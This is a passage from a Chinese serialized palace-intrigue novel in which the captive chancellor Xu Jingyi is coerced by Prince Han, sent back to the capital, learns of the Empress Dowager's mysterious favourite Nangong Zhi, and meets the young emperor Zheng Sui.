“徐妙晴?她一个深宫妇人,还是个空架子,能有这本事?” “王爷!您…您有所不知啊!”徐敬意见有门,立刻添油加醋,痛心疾首道,“此女…此女心机深沉,野心勃勃!她…她早就对老臣把持徐家不满!趁着老臣奉旨离京…她便与那同样心怀叵测的徐敬若暗中勾结!徐敬若…徐敬若掌控着老臣留在京城的部分暗线!他们…他们定是狼狈为奸!徐妙晴利用太后的身份…暗中联络禁军旧部…许以重利…甚至…甚至假传圣意也未可知!她…她这是要借秦王之血,染红她垂帘听政的路!更要…更要让王爷您与秦王两败俱伤…她好坐收渔翁之利!其心可诛!王爷明鉴啊!” 为了活命,徐敬意将徐妙晴描绘成一个深藏不露、阴狠毒辣的幕后黑手,甚至不惜将徐敬若也拉下水,把徐家的内斗渲染得惊心动魄。 他赌的就是韩王对京城具体情势并不完全掌握,以及对“妇人干政”、“后宫弄权”这类事情的天然猜忌。 韩王死死盯着徐敬意惊恐万状又带着恍然大悟般愤恨的脸,眼神变幻不定。 徐家内斗他早有耳闻,徐妙晴与徐敬意的矛盾也非空穴来风。 徐敬意此刻的指控,虽然突兀,却也并非完全无迹可寻。 尤其是“借刀杀人”、“坐收渔利”这几个字,更是狠狠戳中了韩王心中最深的忌惮。 他手中的玉瓶缓缓地放低了一些。 徐敬意的心提到了嗓子眼,他能感觉到韩王杀意的松动,却不敢有丝毫松懈,只是更加凄惨地伏在地上,肩膀剧烈地耸动着,发出压抑的呜咽。 良久,韩王眼中的暴戾和赤红终于褪去了一些。 他冷哼一声,将装着“九幽散”的玉瓶随意地扔回托盘里。 在徐敬意紧绷的神经一松,几乎要瘫软在地。 “哼,你这老狗,倒还有几分急智。”韩王的声音依旧冰冷,带着浓浓的嘲讽,“算你说得通。徐妙晴…呵,本王倒是小瞧了这深宫里的毒妇!” 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第81章 就你替本王去 他踱开两步,看着窗外阴沉的天色,眼神闪烁不定。 秦王惨败,局势急转直下,荆州危在旦夕。 当务之急,是必须阻止禁军乘胜追击,彻底打垮秦王! 否则,荆州不保! 而且,不管背后指使之人到底是不是徐妙晴,这个意图干政的贱妇都绝对不能留! 可派谁去? 怎么阻止? 自己亲自去?不,太冒险! 云州刚刚闹出民变,根基不稳,自己一走,后院必定起火。 片刻后,他的目光缓缓地重新落回了地上如同烂泥般瘫着的徐敬意身上。 一个极其阴损的主意已然在他心中成型。 韩王嘴角勾起一抹冰冷的笑意,如同毒蛇露出了獠牙。 他踱回徐敬意面前,蹲下身,伸出带着血腥和污渍的手指,用令人毛骨悚然的轻柔力道,抬起了徐敬意沾满冷汗的下巴。 “徐相……”韩王的声音陡然变得“温和”起来,却比刚才的咆哮更让徐敬意胆寒。 “既然是你那‘好妹妹’在京城兴风作浪,坏了本王的大事,那这收拾烂摊子、拨乱反正的差事,自然还得落在你这个做兄长的头上,你说……是不是啊?” 徐敬意被他捏着下巴,被迫对上那双深不见底的眸子,一股寒气从脚底直冲头顶。 他嘴唇哆嗦着,一个“不”字堵在喉咙里,却怎么也吐不出来。 韩王仿佛没看到他眼中的恐惧,自顾自地继续说着:“本王知道,你一直想回京城,想念你那宝贝女儿宝儿,对不对?” 韩王满意地看着徐敬意瞬间剧变的脸色,笑容愈发“和煦”,手指却如同铁钳般加重了力道:“你看,本王多体贴?这就给你一个光明正大回京的机会!你亲自回去,替本王…也替你自己,好好‘管教管教’你那个胆大包天的妹妹!让她知道,谁才是徐家真正的主子!让她把伸出来的爪子,给本王一根根剁干净!” 他凑得更近,几乎贴着徐敬意的耳朵,每一个字都带着彻骨的寒意。 “办好了,你徐相还是徐相,你的女儿宝儿,本王保证她平安喜乐,甚至…本王可以考虑给你们父女一个更好的前程。若是办砸了…或者,你敢动什么不该动的心思…” 韩王的声音骤然降至冰点,如同毒蛇吐信:“本王保证,会让你在黄泉路上,都悔不当初!让你那娇滴滴的女儿宝儿,生不如死!听明白了吗?” 徐敬意浑身冰冷,如坠冰窟。 韩王的手指像毒蛇缠绕着他的脖颈,阴冷的气息喷在耳畔,每一个字都带着血腥的锈味。 回京?这哪里是归途,分明是通向刀山火海的绝路! 徐妙晴早已视他为眼中钉,那些背叛的旧部更是恨不得生啖其肉。 而现在,他更不知道郑遂对自己是什么态度。 他此刻回去,无异于羊入虎口,自投罗网! “王爷…微臣……”徐敬意还想哀求,想拒绝,声音却抖得不成样子。 “嗯?”韩王鼻腔里发出一个音调,捏着他下巴的手指骤然收紧,指甲几乎嵌进皮肉里。 徐敬意的目光,不由自主地飘向旁边托盘里那个静静躺着的玉瓶。 九幽散的甜腻腥气仿佛又钻入了鼻腔。 回京是死路,留下……立刻就是死!而且会连累宝儿生不如死! 没有选择!他根本没有选择! 他所有的挣扎、算计、不甘,在这绝对的力量碾压和赤裸裸的威胁面前,都显得那么可笑而无力。 终于,徐敬意像一条被彻底抽掉了脊梁骨的老狗,最后一丝力气也泄尽了。 他闭上眼,无比沉重地点了点头。 “……微臣…遵命…” 韩王的手指终于松开,徐敬意立刻就瘫软在地。 “很好。”韩王直起身,嫌恶地甩了甩沾着徐敬意泪水和污渍的手指。 他脸上那点虚假的“温和”早已消失殆尽,冷冷的命令。 “给你半个时辰收拾。本王派一队‘得力’的人手‘护送’你回京。记住本王的话,徐相,你的命,你女儿的命,都在你一念之间。本王…在云州等你的‘捷报’!” 说完,他看也不再看地上气息奄奄的人,转身大步离去。 徐敬意蜷缩在冰冷的地板上,身体因为剧痛和寒冷而无法控制地颤抖。 他艰难地抬起头,视线模糊地扫过那个被随意丢弃在托盘里的骷髅玉瓶。 刚才离死亡只有一步之遥的恐惧再次攫住了他,让他猛地打了个寒噤。 不能死…至少…至少不能现在就死!为了宝儿! 这个念头给了他一丝挣扎爬起的力气。 徐敬意咬紧牙关,用尽全身力气,一点一点,拖着剧痛的身体挪向床榻。 终于,他颤抖的手抓住了床沿,挣扎着想要撑起身体。 一个侍女怯生生地推门进来,看到地上的狼藉和徐敬意的惨状,吓得脸色煞白,低呼一声,慌忙跑过来搀扶。 “相、相爷……” 徐敬意借着她的力,勉强将自己沉重的身体挪回床上,瘫倒在锦垫中,剧烈地喘息着。 “更…更衣……”他嘶哑地吐出两个字。 侍女不敢怠慢,手忙脚乱地为他找来之前穿的锦袍。 换衣的过程又是一番酷刑,侍女的动作已经尽量轻柔,可每一次触碰伤处都让徐敬意疼得浑身抽搐,额头冷汗涔涔。 当那象征着丞相身份的锦袍终于勉强套在他身上时,徐敬意丝毫都没有欢喜,反而感觉自己像是被裹进了一层冰冷的裹尸布。 侍女小心翼翼地端来清水,想为他擦拭脸上的污垢和血迹。 徐敬意却猛地挥开了她的手,动作牵动伤势,又是一阵剧烈的咳嗽。 “不…不擦…就这样……”徐敬意喘着粗气,声音嘶哑,“让…让京城的人都看看…看看我…被那韩贼…折磨成了什么样子…” 他要卖惨!他要利用这副凄惨的模样! 这是他此刻唯一能想到的武器,或许能激起一些人的同情?或许…或许能让徐妙晴那个贱人放松一丝警惕?哪怕只有一丝! 侍女被他眼中的疯狂吓住,不敢再动,只能默默地退到一旁,垂着头,大气不敢出。 第82章 终究还是回来了 时间在沉重的死寂和徐敬意压抑的痛楚呻吟中一点点流逝。 半个时辰,如同在地狱中煎熬了半生。 “笃笃笃!” 敲门声响起,如同丧钟敲响。 门被推开,进来的不是侍女,而是两名身着韩王亲卫铁甲的魁梧甲士。 “徐相,时辰已到。请。”其中一人硬邦邦地说道。 徐敬意的身体剧烈地颤抖了一下,眼中最后一点微弱的光芒也黯淡下去,只剩下浓得化不开的恐惧和绝望。 他认命般地闭上眼,任由两名甲士一左一右,毫不客气地将他从床上架起。 他像一个破败的木偶,被架着,踉跄地拖出了这间囚禁他多日的屋子,拖出了楚王府的大门。 王府外,一辆灰扑扑、毫不起眼的马车早已等候多时。 拉车的马匹瘦骨嶙峋,车厢狭小破旧,连车帘都打着补丁。 周围,肃立着整整二十名韩王的铁甲亲卫,个个眼神锐利如鹰,手按刀柄,浑身散发着生人勿近的凛冽杀气。 与其说是护送,不如说是押解重犯的死囚队伍。 那两名甲士像扔垃圾一样,将徐敬意塞进了狭窄的车厢。 车厢内散发着一股浓重的霉味和牲口的臊气。 徐敬意被粗暴地扔在硬邦邦的车板上,撞击带来的剧痛让他蜷缩成一团,发出痛苦的闷哼。 “启程!”车外传来一声冷酷的命令。 鞭子抽打在瘦马身上,发出一声脆响。 马车猛地一颠,剧烈地晃动起来,开始沿着坑洼不平的道路,朝着京城的方向,颠簸前行。 徐敬意蜷缩在冰冷坚硬的车厢角落,身体随着颠簸晃动。 透过车帘被风吹起的一角缝隙,他看到外面飞速倒退的荒凉景象,枯黄的野草,光秃秃的树干,灰蒙蒙的天空…… 一切都透着死寂和绝望。这哪里是归途?分明是一条通往黄泉的绝路! 意识在剧痛和颠簸中渐渐模糊、飘散。 眼前仿佛出现了幻觉。 是宝儿。 她穿着过年时最爱的鹅黄色小袄,梳着可爱的双丫髻,手里举着一串红艳艳、亮晶晶的糖葫芦,正朝他跑来,小脸红扑扑的,笑容灿烂得像春日暖阳。 “爹爹!爹爹!看宝儿的糖葫芦!甜!爹爹吃!” 徐敬意下意识地想伸手去接,想去摸摸女儿柔软的发顶,浑浊的老眼里瞬间涌上了滚烫的泪水。 宝儿…他的宝儿…他唯一的骨血… 可那温暖的画面骤然破碎! 取而代之的是韩王那张阴鸷扭曲的脸,和他手中那把闪着寒光的匕首! “…让你那娇滴滴的女儿宝儿,生不如死!” “不——!”徐敬意在颠簸的车厢里发出一声绝望的嘶吼,他猛地蜷缩得更紧,双手死死抱住剧痛的头颅,指甲深深掐进头皮里。 为什么?为什么会落到这步田地?! 无尽的怨毒如同沸腾的毒液,瞬间冲垮了恐惧,在他枯槁的胸腔里熊熊燃烧起来! 郑遂!那个小畜生! 若非他软弱无能,料理不了这些藩王,自己早就坐上皇位了,何至于落入韩王这豺狼之手?! 还有徐妙晴!那个蛇蝎心肠的贱人!自己的亲妹妹! 若非她趁自己离京,勾结徐敬若那个庶出的杂种,在后方兴风作浪,挖自己墙角,夺自己权柄,自己苦心经营多年的势力何至于土崩瓦解?! 那些心腹何至于背叛?!自己何至于成为孤家寡人,任人宰割?! 还有韩王!这个贪婪残暴、毫无信义的畜生!若非他贪图云州富庶,强占楚王府,横征暴敛,逼死陆承恩,激起民变,又将自己当作替罪羊和棋子,百般折辱,自己何至于此?! 他竟敢用宝儿来威胁自己!他该死!统统都该死! 一股前所未有的暴戾杀意在徐敬意绝望的心底疯狂滋生! “你们…都不得好死!不得好死!我…我就是拼着魂飞魄散…也要…也要拉你们一起…下地狱!” 马车一路颠簸,在官道上留下单调而沉重的印痕。 日头西沉,又重新升起。 徐敬意几乎是昏了醒醒了昏,但是那些人丝毫都不在乎自己是否承受的住,反正只要不死,他们就绝对不会减速。 不知过了多久,终于在又一次剧烈的颠簸将他从半昏厥状态震醒时,车外传来护卫头领冰冷生硬的声音:“徐相,前面就是京城城南的驿站。今夜在此歇脚,明日一早入宫。” 京城……到了? 这两个字像是有魔力一般,终于让徐敬意清醒了过来。 他猛地一个激灵,挣扎着,用尽全身力气,颤抖的手扒住了车窗上,将眼睛死死贴了上去。 视野有限,但前方那座在暮霭沉沉中拔地而起的巨大轮廓却直直撞入了他的眼帘! 城墙上,隐约可见巡弋士兵模糊的身影和闪烁的灯火。 更远处,城内鳞次栉比的屋宇楼阁,在渐深的夜色中勾勒出模糊的剪影,万家灯火如同繁星点点,汇聚成一片朦胧的光海。 京城! 他徐敬意离开了数月,曾以为不过是短暂避祸、运筹帷幄的京城! 如今,却以如此屈辱、如此狼狈、如此绝望的方式回来了! 一股难以言喻的复杂情绪猛地冲上徐敬意的咽喉,堵得他几乎窒息。 是恐惧?是恨意?是屈辱?还是…一丝连他自己都不愿承认的、近乡情怯般的悸动? 他看到那巨大的城门轮廓了。 南熏门! 那是他曾经无数次意气风发、前呼后拥、昂然进出的地方! 而此刻,他却像一只阴沟里的老鼠,坐着这破败的囚车,在韩王爪牙的押解下,即将从这扇门溜进去! 城门口似乎比往日多了不少盘查的兵丁,火把的光亮在暮色中晃动,气氛显得有些肃杀。 是徐妙晴加强了戒备?还是小皇帝郑遂在防备着什么? 徐敬意的心猛地一沉,扒着缝隙的手指因为用力过度而关节发白,指甲深深抠进了粗糙的木缝里。 那巨大的城门黑洞洞地敞开着,在他眼中,却如同巨兽张开的血盆大口,正等着将他吞噬! 第83章 太后养了一个男宠 “停车!检查!”外面传来守城士兵威严的呼喝声。 马车应声停下,剧烈的晃动让徐敬意再次牵动内腑,痛得闷哼一声。 他下意识地蜷缩起身体,将头埋得更低,用那件半旧的锦袍宽大的袖口,尽可能遮掩住自己红肿的脸颊和狼狈的模样。 “哪里来的?车上何人?”士兵的声音近在咫尺,带着公事公办的冰冷。 “云州,韩王府办事。”护卫头领的声音同样冰冷,带着不容置疑的倨傲,接着还好像亮出了信物,“车里是韩王殿下要送入京的…重要人物。速速放行!” 外面短暂的沉默了一下。 似乎士兵在查验信物,每一刻的等待,对车厢里屏住呼吸的徐敬意来说都极为漫长。 他仿佛能感觉到外面士兵锐利的目光穿透了薄薄的车帘,落在他这具狼狈不堪的躯壳上。 终于,外面传来士兵让开道路的声音:“放行!” 鞭子再次响起,马车重新启动,缓缓地碾过了南熏门那巨大而幽深的门洞。 巨大的阴影瞬间笼罩了小小的车厢,将徐敬意彻底吞没。 黑暗、冰冷、压抑。 车轮碾压着城门洞内坚硬平整的青石板路,两侧高耸的城墙在暮色中投下更深的阴影,壁上冰冷的石砖仿佛触手可及。 徐敬意僵硬地维持着蜷缩的姿势,身体因为极度的紧张和伤处的剧痛而微微痉挛。 他紧闭着眼,不敢再看外面。 但那些熟悉的、属于帝都的气息却如同无数根细针,密密麻麻地扎进他的感官。 回来了…终究还是回来了…… 没有荣归故里的意气风发,只有丧家之犬的惶惶不安。 没有权倾朝野的万丈豪情,只有深陷绝境的刻骨恨意和…对女儿安危的锥心恐惧。 马车终于驶出了那令人窒息的城门洞,但帝都的暮色并未让徐敬意感到丝毫轻松。 “先去驿站!”护卫头领的声音再次响起,打断了徐敬意翻江倒海的思绪。 马车转向,朝着城南驿站的方向驶去。 徐敬意极其艰难地再次抬起头,将脸贴在冰冷的车壁缝隙上,最后一次望向车外。 暮色中的京城街道,行人稀疏,店铺大多已经打烊,只余下屋檐下悬挂的灯笼在晚风中轻轻摇晃。 远处,皇宫的方向,巍峨的宫墙和飞檐在深沉的暮霭中只剩下一个庞大而模糊的剪影。 几点微弱的灯火点缀其上,在无边的黑暗中显得那么遥远,那么…深不可测。 郑遂…徐妙晴…你们…在等着老夫吗? 徐敬意的嘴角,在阴影中极其缓慢地向上扯动了一下。 他缓缓地缩回了头,将自己更深地埋入车厢的黑暗角落。 驿站很快就到了。 驿站简陋的客房内,只点着一盏如豆的油灯。 徐敬意闭着眼,眉头紧锁的躺在床上,蜡黄的脸上几乎没有一丝血色。 他在等。 时间在煎熬中一点点度过。 “笃…笃笃……” 三声极轻微的叩击声极其突兀地在窗棂上响起。 徐敬意的眼皮猛地一颤!来了! 他强忍着胸腹间的剧痛,艰难地地从床上坐起。 他屏住呼吸,侧耳倾听。 窗外再无动静。只有夜风吹过枯枝的呜咽。 他咬着牙,扶着冰冷的墙壁,一步一挪到窗前。 随后颤抖着伸出手指,在紧闭的木窗上用指甲轻微地刮过。 “嚓…嚓嚓…嚓…” 三长,两短,一长。 这是他徐家最核心的暗卫, “黑鹰卫”紧急联络时,用来确认身份和安全的暗号。 窗外一片死寂。 徐敬意的心提到了嗓子眼,屏住呼吸。 “嚓…嚓…嚓嚓…” 同样轻微的三长两短一长刮擦声,清晰地回应在了窗纸上! 徐敬意的瞳孔骤然收缩! 一股狂喜瞬间冲垮了他强装的平静! 是他的人!黑鹰卫的人! 他们竟然真的还在!竟然真的找到了他! 徐敬意不再犹豫,用尽全身力气,忍着剧痛将那扇紧闭的木窗推开了一条的缝隙! 一股冰冷的夜风瞬间灌入,缝隙外,一个极其低微的嘶哑声音响起。 “癸七…参见…主上。” “你…你们……” 纵然早有准备,但听到的那一刻,徐敬意还是不免激动。 他几乎是贴在窗缝上,用尽力气压低声音。 “你们如何…如何得知老夫归来?京城…京城如今是何光景?!” 黑暗中沉默了一瞬,随即,癸七的声音再次传来。 “主上离京,黑鹰卫一直暗中留意主上的笑意。韩王亲卫押送车队入云州境,便有暗哨回报。一路追踪,确认主上行踪方在此等候。” “京城,目前郑遂掌权,徐妙晴与之分庭抗礼。明面尚算平静,实则暗流汹涌。” “分庭抗礼?!”徐敬意的瞳孔骤然收缩,这个信息出乎意料! 郑遂那小畜生,竟然没把徐妙晴彻底压下去? 还是说…徐妙晴这贱人手段当真了得? “详细说!郑遂有何动作?徐妙晴又在做什么?!” “郑遂深居简出,勤于政务。然其手段,对主上颇为维护。” “维护?”徐敬意一愣,几乎以为自己听错了。 自己如今已经落魄,手底下的那些人竟也半点消息都没告诉郑遂? “是。”癸七肯定道,“主上离京后,朝中多有弹劾主上,昔日跋扈、贪墨、构陷忠良之奏疏。然皇帝皆留中不发。” 徐敬意忍不住抿住了嘴。 看样子,还真的不是郑遂? “那、那些幕僚呢?!贺二、沈渚……还有赵川珩!他们背叛老夫,依附了谁?!是郑遂?还是徐妙晴?!” 对方却垂下了头去:“属下无能……其背后究竟何人主使,我等未能探明。” 徐敬意如遭重击,倒吸一口凉气。 连无孔不入的黑鹰卫都查不出幕后之人? 这怎么可能?! 除非那个幕后黑手隐藏得极深,或者手段高明到连黑鹰卫都蒙蔽了! 郑遂? 不,不像是他。 “郑遂并无明显异常。”癸七也确认道。 “那徐妙晴呢?!”徐敬意的声音陡然拔高,“这贱人!她在后宫,又在搞什么鬼名堂?!” 窗外的癸七沉默了片刻,似乎在斟酌措辞。 “徐太后……”癸七的声音压得更低,像是有些为难似的。 片刻后,他才终于徐徐开口的。 “太后明面上没什么问题,日常深居寿康宫,礼佛静心。不过,我们发现她暗中养了一个男宠。” 第84章 杀了这个毒妇 徐妙晴……养男宠? 徐敬意先是愕然,随即又觉得荒谬。 徐妙晴这死女人正当盛年,当初被送进皇宫时,老皇帝已是风烛残年,油尽灯枯。 男女之事? 她恐怕连滋味都没尝过。 如今成了寡妇,又是虎狼之年,深宫寂寞,养个面首解闷,似乎……也说得通? 权贵之家,这等事虽上不得台面,却也并非罕见。 徐敬意自己府里,也蓄养过歌姬伶人。 可癸七是什么人? 是他徐家最精锐、最隐秘的黑鹰卫! 若非此事极不寻常,癸七怎会特意禀报? 一个寻常的面首,怎值得黑鹰卫耗费精力去查探? “那男宠……有何蹊跷?”徐敬意压低声音问道。 窗外癸七的声音低沉,面上却带着一丝徐敬意看不懂的困惑:“主上,属下等……查探不清。 “什么?”徐敬意大惊失色。 癸七连忙道:“主上恕罪,并非属下等不尽心,只是此人,确实如同凭空冒出般!” 据癸七所说,几日前才开始有他的消息。 此人就像是毫无征兆便出现在了寿康宫内。 “听闻他们二人夜夜笙歌,无人敢管。寿康宫内外,如同铁桶,针插不进。小皇帝那边……应该也有所耳闻,却也……无可奈何。” 徐敬意的心猛地一沉。 查不清? 连黑鹰卫都查不清底细? 这绝非寻常! 更让他怒火中烧的是癸七接下来的话:“此事虽未大肆传扬,然朝中已有议论纷纷。” 这话一出,一股邪火就腾地窜上徐敬意的脑门。 “废物!”他忍不住怒骂。 这既是对癸七等人查探无果的失望,更是对徐妙晴那贱人行事放荡、不知廉耻的滔天恨意! 养面首就养面首,竟闹得朝野皆知? 她置徐家的脸面于何地! 她徐妙晴不要脸,他徐敬意还要! 徐家列祖列宗还要! “主上息怒。”癸七声音更低了几分,劝慰道。 “徐太后早已与徐家离心离德,她既自甘堕落,主上何必为其忧心?只要不碍着主上大业,莫说一个,便是她养上百八十个,又与徐家何干?” “放屁!”徐敬意咆哮道。 癸七看到的,只是表象! 关键是徐妙晴这贱人敢如此肆无忌惮,哪里仅仅是深宫寂寞? 她这是在示威!是在向所有还在观望的徐家人传递一个信号。 她徐妙晴不仅手握太后权柄,更有能力庇护、给予他们想要的一切! 金钱、地位……甚至这种见不得光的“恩宠”! 徐家内斗,各房各支,手握权柄的旁系子弟不在少数。 这些人,就像墙头草,风往哪边吹,就往哪边倒。 他徐敬意离京数月,失势落魄,徐妙晴若以此等“恩惠”为诱饵,那些本就摇摆不定的家伙,难保不会倒戈相向! 这贱人,是在挖他徐敬意的根!是在釜底抽薪! “主上……”癸七欲言又止。 徐敬意敏锐地捕捉到了这丝异样,心头猛地一跳。 他费力地转动眼珠,隔着窗缝,想要看清癸七脸上那难以言喻的神情。 那是什么? 怜悯?无奈? 还是……一种无声的提醒? 刹那间,一股冰冷的绝望如同冰水浇头。 让徐敬意沸腾的怒火瞬间熄灭了大半。 是啊……他如今这副模样,阶下囚一般,被韩王像狗一样踢回京城。 连自身都难保,还谈什么徐家的权柄?还谈什么拉拢人心? 那些墙头草,就算倒向徐妙晴,对他这个“失势”的家主而言,又有什么区别? 他徐敬意,还有什么资本去争? 一股前所未有的悲凉涌上心头。 想他徐敬意,苦心经营数十载,权倾朝野,翻手为云覆手为雨,连皇帝都敢挟持。 可仅仅离开京城一趟,竟落得如此田地! 被藩王折辱,被旧部背叛,如今连自家后院都起了火,而他竟束手无策! 早知如此……早知如此! 一股狠厉的戾气在胸中翻腾。 他当初就该更狠!就该趁着老皇帝刚死,朝局未稳,不顾一切地直接逼宫! 管他什么藩王势大,管他什么天下悠悠之口! 成王败寇,只要他坐上那个位置,一切反对的声音都能碾碎! 可这念头刚起,又被更深的无力感压了下去。 老皇帝临死前那阴毒的一手,将禁军权分散于几大藩王,就是悬在他徐家头上的一柄利剑。 他徐敬意再狂妄,也不敢同时与所有手握重兵的藩王开战。 说到底,还是他不够狠,不够绝! 否则,何至于被韩王这头豺狼捏在掌心,连女儿都成了人质? 他只觉得悔不当初。 “宝儿……”想到女儿,徐敬意的心就忍不住抽痛。 什么权柄,什么野心,此刻都不及女儿安危重要。 他强压下翻腾的思绪,一字一顿地命令:“癸七,听着,宝儿在韩王手中。你们黑鹰卫一定要不惜一切代价……护住她!暗中监视,若韩王敢动宝儿,你们豁出命去也要保她!” 窗外的黑暗沉默了一瞬,随即传来癸七斩钉截铁的声音:“主上放心!癸七以命起誓,黑鹰卫已调动精锐,暗中守护小姐!纵粉身碎骨,绝不令小姐有失!” 得到这句承诺,徐敬意紧绷的心弦才稍稍松了一丝。 这是他此刻唯一能抓住的浮木了。 “还有……”他眼神重新变得锐利,“徐妙晴那个男宠,必须给我查!挖地三尺,也要把他祖宗十八代挖出来!我要知道……他到底是谁!” “是!”癸七应道,声音带着决绝。 “主上安心,属下等必竭尽全力!那南宫治便是藏在九幽之下,属下也定将其底细,翻个底朝天!” 等等! 南宫治?! 徐敬意浑身猛地一僵,眼珠瞬间瞪得几乎要裂开! 南宫?竟然是南宫?! 难怪癸七他们查不到,只因当朝之中,南宫一姓早已凋零如寒星,近乎绝迹。 可寻常官员百姓或许只知其稀少,不明所以。 但他徐敬意身为当朝重臣,曾遍览前朝秘档,却一清二楚。 前朝历代,南宫世家皆是皇室最尊崇的座上宾。 第85章 动作比想象中的快 不为别的,只为那一手鬼神莫测的营造技艺。 皇室宫阙、帝陵秘藏、机关暗道…… 所有与皇室休戚相关的建筑工艺,皆出自南宫家之手! 前朝皇室待其甚厚,不以寻常匠人奴仆视之,恩宠有加。 而南宫一族,亦以忠义报之,世代相传,忠心耿耿。 当年郑氏先祖起兵反叛,前朝大厦将倾之际,正是南宫一族,联合残余的忠勇宫人、太监,死守皇宫,血战到底。 史载南宫家那位当时的家主,更是紧随末代皇帝之后,自缢于皇宫大殿之上,以死殉国。 其忠烈刚烈,震动天下。 大郑开国,太祖皇帝感其忠义,虽灭其国,却未灭其族,将南宫氏残存的族人流放边陲,留其血脉。 然而南宫一族在流放前曾立下血誓,南宫子孙,永不为郑氏皇朝效力! 若郑氏皇朝气数衰微,南宫一族必倾尽全力,为前朝皇室复仇雪恨! 不能赶尽杀绝,却又容不得他们,无奈之下太祖下令,抹杀史书中一切有关于南宫家族的记载。 徐敬意读过的秘史,已是世间仅存了! 而就这样一个背负着血海深仇、隐世百年、誓言永不事郑的家族,他们的后人,竟然出现在了徐妙晴的寿康宫?! 还成了她的男宠?! 这哪里是什么男宠?这分明是是引狼入室! 是徐妙晴这个贱人,早已包藏祸心,暗中勾结了前朝余孽! 她这是要做什么?要借南宫家的力量,来对付他徐敬意?! 徐敬意只觉荒谬至极。 他原以为徐妙晴是在自己离开之后才起了歹心,却不想自己苦心孤诣想要掌控的江山,他徐家想要取而代之的皇位,竟然早已被这个他从未放在眼里的妹妹,暗中勾结了前朝余孽,布下了如此凶险的棋局! 她藏的太深了!太毒了! “贱人!徐妙晴!你这毒妇!逆贼!我……我定要将你碎尸万段!挫骨扬灰!” 徐敬意在极度的愤怒之下,竟忘记了自己身处险境,用尽全身力气发出一声沉闷的嘶吼! “吵什么吵!嚎丧呢?!家里死人了?!”门外立刻传来韩王守卫粗暴的呵斥和凌乱的脚步声。 坏了! 徐敬意脑中“嗡”的一声,瞬间清醒。 “主上保重!属下告退!”窗外的癸七反应极快,只留下一句急促的低语,气息瞬间消失无踪。 徐敬意慌忙挣扎着想去关窗,却已经来不及。 只听“哐当”一声,房门已被粗暴地踹开! 两名凶神恶煞的守卫闯了进来,眼神扫过房间,瞬间就锁定了大开的窗户。 “老东西!你开窗干什么?!”为首的守卫厉声喝问,几步冲到窗边,警惕地探身朝外张望。 寒风灌入,夜色沉沉,哪里还有人影? 守卫狐疑地收回目光,恶狠狠地盯住徐敬意:“说!刚才鬼叫什么?是不是跟谁接头了?!” 徐敬意心脏狂跳,冷汗瞬间浸透内衫。 他强迫自己冷静下来,身体剧烈地扭动着,对着守卫的方向就开始破口大骂。 “徐贱人,毒妇!我要杀了那毒妇!” 徐敬意演得极其卖力,状若疯癫,将积压了数日的屈辱和愤怒借着这“疯癫”的状态,毫无保留地倾泻而出。 什么世家体面,什么丞相威仪,此刻都顾不上了! 他只想活着! 守卫皱着眉头,看着徐敬意这副涕泪横流、咒骂不休的癫狂模样,眼中闪过一丝厌恶。 看来这老狗是真被王爷折磨疯了,自己一个人在屋里发癔症呢。 “娘的,晦气!”守卫啐了一口,“捆结实点!嘴堵严实了!再敢弄出动静,老子扒了你的皮!” 他嫌恶地挥挥手,示意同伴上前,用更粗的麻绳将徐敬意捆成了粽子,又给嘴里塞了破布。 徐敬意被勒得翻白眼,窒息感阵阵袭来,但却是真的老实了。 守卫确认他再也发不出任何声音,这才骂骂咧咧地退了出去,重重关上房门。 黑暗重新笼罩。 徐敬意像一具尸体般瘫在床上,屈辱感袭上心头。 堂堂大郑丞相,竟沦落到要靠装疯卖傻、自污自辱来苟且偷生! 这比韩王的毒打更让他感到万箭穿心。 但他活下来了,他熬过了这一关。 所有的希望,只能孤注一掷地压在明天…… 压在那个他曾经视如傀儡的小皇帝,郑遂身上…… 次日,皇宫,御书房。 郑遂刚刚下朝,正坐在御案后看一份关于南方水患的奏折。 王喜便悄无声息地快步进来,将一封密信恭敬地呈上。 郑遂展开,目光扫过,眉头微微一挑。 徐敬意秘密回京了?还要面圣? 韩王这一步棋……倒是比他预想的更快,也更直接。 看来秦王一战,把韩王打疼了,也打醒了,让他意识到徐敬意这张牌,在京城可能已经“失效”了。 或者说,韩王想用徐敬意这条丧家之犬,来探探京城的虚实。 甚至……试探他郑遂的深浅。 一丝冰冷的笑意在郑遂眼底掠过。 他放下密信,淡淡道:“宣。” 约莫半个时辰后,王喜引着一人,脚步虚浮地走进了御书房。 来人正是徐敬意。 他显然精心梳洗过,换上了一身半旧却还算整洁的深紫色锦袍,勉强维持着丞相的体面。 但那曾经华丽的锦袍穿在他身上却显得空空荡荡的,仿佛挂在一副行走的骨架上。 他已然瘦得脱了形,颧骨高耸,眼窝深陷,蜡黄的脸上布满了深刻的皱纹和尚未完全消退的青紫。 更令人难以忽视的是,他身上还带着一股若有若无、仿佛从骨子里透出来的馊腐气息。 并且还在随着他的靠近,在御书房清冷的空气中弥漫开来。 王喜将人带到御阶下,便如同躲避瘟疫般迅速退开几步,垂手侍立一旁,脸上是毫不掩饰的嫌恶,同时飞快地给郑遂递了个眼色。 郑遂心中了然。看来徐老狗在云州的日子,真是生不如死。 他面上却瞬间堆起恰到好处的震惊和关切,猛地从御座上站起,三步并作两步走下御阶。 第86章 是朕害了你呀 甚至不顾那股难闻的气味,快步走到徐敬意面前,一把扶住了他摇摇欲坠的胳膊。 “徐相!徐相!您这是……” 郑遂眼神在徐敬意脸上那触目惊心的伤痕和憔悴上反复扫视,几乎痛心疾首道。 “数月不见,爱卿何以……何以憔悴至此?!快!赐座!王喜,看茶!” 他一边扶着徐敬意走向旁边准备好的锦凳,一边连声吩咐。 这突如其来的关怀和久违的君臣相得的场景,对于在韩王魔爪下受尽折磨的徐敬意而言冲击力是巨大的。 京城熟悉的宫殿气息,御书房庄严肃穆的氛围,尤其是郑遂这情真意切的搀扶和问候,如同突如其来的一股暖流。 尽管这暖流不一定为真,道一股难以言喻的委屈和劫后余生的酸楚还是猛地涌上鼻尖。 “陛……陛下啊!”徐敬意喉头哽咽,老泪纵横,顺势就要跪下行大礼。 身体却因虚弱和捆绑后的血脉不通而一个趔趄,差点摔倒。 郑遂连忙用力扶住他。 “徐相不必多礼!快坐下说话!”郑遂将他按在锦凳上,自己则拖过另一张凳子坐在他对面,身体微微前倾,做出洗耳恭听的姿态。 “爱卿此次……可是在巡抚途中遭遇了什么意外?朕……朕日夜悬心啊!” 徐敬意等的就是这话。 他身体微微发抖,涕泪交流,开始了他的表演。 “陛下……微臣……微臣有负圣恩!微臣……是被那韩王贼子所害啊!” 徐敬意抬手,用袖子狠狠擦了把泪。 